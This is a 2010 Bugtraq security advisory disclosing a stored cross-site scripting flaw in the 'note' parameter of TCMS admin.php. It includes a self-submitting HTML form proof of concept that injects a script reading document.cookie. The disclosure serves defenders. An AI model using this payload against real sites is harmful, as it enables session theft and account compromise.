[<prev] [next>] [day] [month] [year] [list]
Message-Id: <201008261253.o7QCrTG6046581@htbridge.ch>
Date: Thu, 26 Aug 2010 14:53:29 +0200 (CEST)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: XSS vulnerability in TCMS
Vulnerability ID: HTB22575
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_tcms_1.html
Product: TCMS
Vendor: Target CMS ( http://targetcms.com/ )
Vulnerable Version: 100728 and Probably Prior Versions
Vendor Notification: 09 August 2010
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "php/lib/admin.php script to properly sanitize user-supplied input in "note" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://host/www/index.php" method="post" name="main" >
<input type="hidden" name="template" value="3" />
<input type="hidden" name="language" value="1" />
<input type="hidden" name="name" value="home" />
<input type="hidden" name="note" value='The note text"><script>alert(document.cookie)</script>' />
<input type="hidden" name="value" value="page content" />
<input type="hidden" name="admin" value="1" />
<input type="hidden" name="text" value="1" />
<input type="hidden" name="section" value="content" />
<input type="hidden" name="id" value="9" />
<input type="hidden" name="action" value="Save text" />
</form>
<script>
document.main.submit();
</script>
Powered by blists - more mailing lists